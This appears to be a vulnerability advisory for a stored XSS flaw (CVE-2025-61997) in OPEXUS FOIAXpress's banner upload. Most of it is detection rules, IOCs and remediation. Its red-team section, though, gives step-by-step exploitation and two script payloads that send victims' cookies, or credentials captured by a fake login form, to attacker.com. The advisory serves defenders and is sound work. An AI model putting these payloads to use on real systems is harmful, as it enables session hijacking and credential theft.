CVE-2025-61997
Executive Summary
CVE-2025-61997 is a stored Cross-Site Scripting (XSS) vulnerability in OPEXUS FOIAXpress, specifically within the Annual Report Enterprise module. An authenticated administrative user can inject arbitrary JavaScript or other content into the Enterprise Banner image upload field. This injected content is then executed in the context of other users when they generate an Annual Report. Successful exploitation allows the administrative user to perform actions on behalf of the target, including stealing session cookies, user credentials, or sensitive data. The vulnerability is unpatched in versions prior to 11.13.3.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / Calculated: 8.0 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): High (H) - An administrative user account is required to inject the payload.
- User Interaction (UI): Required (R) - A non-admin user must generate an Annual Report to trigger the payload.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): High (H) - An attacker can steal session cookies and credentials.
- Integrity (I): High (H) - An attacker can perform actions on behalf of the victim.
- Availability (A): High (H) - An attacker could potentially disrupt the application.
Threat Level: High. While exploitation requires administrative privileges for injection, the impact on confidentiality, integrity, and availability is severe. The attack chain is straightforward and can lead to full account takeover of any user who generates a report.
Deep Dive & Mechanics
The vulnerability resides in the Annual Report Enterprise module's image upload functionality. The application fails to properly sanitize or validate the content of the "Enterprise Banner" image upload field. An administrative user can upload a file that, instead of a legitimate image, contains embedded JavaScript or HTML. This malicious content is stored in the application's database or file system.
When a non-administrative user generates an Annual Report, the application retrieves and renders the banner content without proper output encoding. The injected script executes in the victim's browser within the security context of the FOIAXpress application. This allows the attacker to:
- Steal Session Cookies: Access
document.cookieand exfiltrate it to an attacker-controlled server. - Capture Credentials: Present a fake login form or use keylogging to capture user credentials.
- Perform Actions on Behalf of the Victim: Use the victim's session to make API calls, modify data, or escalate privileges.
The attack chain is:
- Attacker (admin) logs in.
- Attacker navigates to the Annual Report Enterprise configuration.
- Attacker uploads a malicious file (e.g.,
banner.html) containing JavaScript. - Victim (non-admin) logs in and generates an Annual Report.
- The malicious script executes in the victim's browser.
- Attacker receives stolen data.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely does not sanitize the uploaded file content or does not properly encode it when rendering.
// Vulnerable: Directly rendering user-uploaded content
function renderBanner(bannerContent) {
document.getElementById('banner').innerHTML = bannerContent;
}
Patched Code (Conceptual): The patched code should validate the uploaded file (e.g., check MIME type, use a whitelist of allowed file extensions) and sanitize the output by encoding HTML entities.
// Patched: Sanitize and encode output
function renderBanner(bannerContent) {
const sanitizedContent = DOMPurify.sanitize(bannerContent);
document.getElementById('banner').innerHTML = sanitizedContent;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Administrative access to OPEXUS FOIAXpress (version < 11.13.3.0).
- A non-admin user account to trigger the payload.
Steps:
- Log in as an administrative user.
- Navigate to the Annual Report Enterprise configuration.
- Create a file named
banner.htmlwith the following content:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
- Upload this file as the Enterprise Banner image.
- Log out and log in as a non-admin user.
- Generate an Annual Report.
- The script executes, sending the victim's session cookie to the attacker's server.
Alternative Payload (Credential Theft):
<script>
document.body.innerHTML = '<form method="POST" action="https://attacker.com/login"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>';
</script>
Blue Team
Detection:
- Monitor for unusual file uploads to the Annual Report Enterprise module, especially files with
.html,.js, or.svgextensions. - Monitor for outbound connections to unknown or suspicious domains from the FOIAXpress application server.
- Review web server logs for requests to
/stealor similar endpoints.
Prevention:
- Implement strict file upload validation: only allow image MIME types (e.g.,
image/png,image/jpeg). - Use a Content Security Policy (CSP) to restrict script execution.
- Apply input validation and output encoding to all user-supplied data.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to
attacker.comor similar domains. - Suspicious
GETrequests with cookie data in the URL.
- Outbound HTTP requests to
- File IOCs:
- Files with
.html,.js, or.svgextensions uploaded to the Annual Report Enterprise module. - Files containing
<script>tags in the upload directory.
- Files with
- Log IOCs:
- Web server logs showing
POSTrequests to/AnnualReport/UploadBannerwith unusual file types. - Application logs showing failed MIME type validation attempts.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_61997_Stored_XSS {
meta:
description = "Detects malicious files uploaded for CVE-2025-61997"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61997"
strings:
$script = /<script[\s>]/ nocase
$onerror = /onerror\s*=/ nocase
$onload = /onload\s*=/ nocase
$svg = /<svg[\s>]/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-61997 - Stored XSS via Enterprise Banner Upload
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads to the Annual Report Enterprise module that may contain malicious scripts.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/AnnualReport/UploadBanner'
cs-uri-query|contains:
- '.html'
- '.js'
- '.svg'
condition: selection
falsepositives:
- Legitimate HTML or SVG files used for branding.
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61997 - Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Upgrade to OPEXUS FOIAXpress version 11.13.3.0 or later.
- Restrict Uploads: If immediate patching is not possible, restrict file uploads to only image MIME types (e.g.,
image/png,image/jpeg,image/gif). - Web Application Firewall (WAF): Deploy WAF rules to block file uploads containing
<script>tags or suspicious content.
Long-Term Actions:
- Input Validation: Implement strict input validation on all file upload fields.
- Output Encoding: Ensure all user-supplied data is properly encoded before rendering.
- Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts.
- Regular Security Audits: Conduct regular security audits and penetration testing.
Valters IT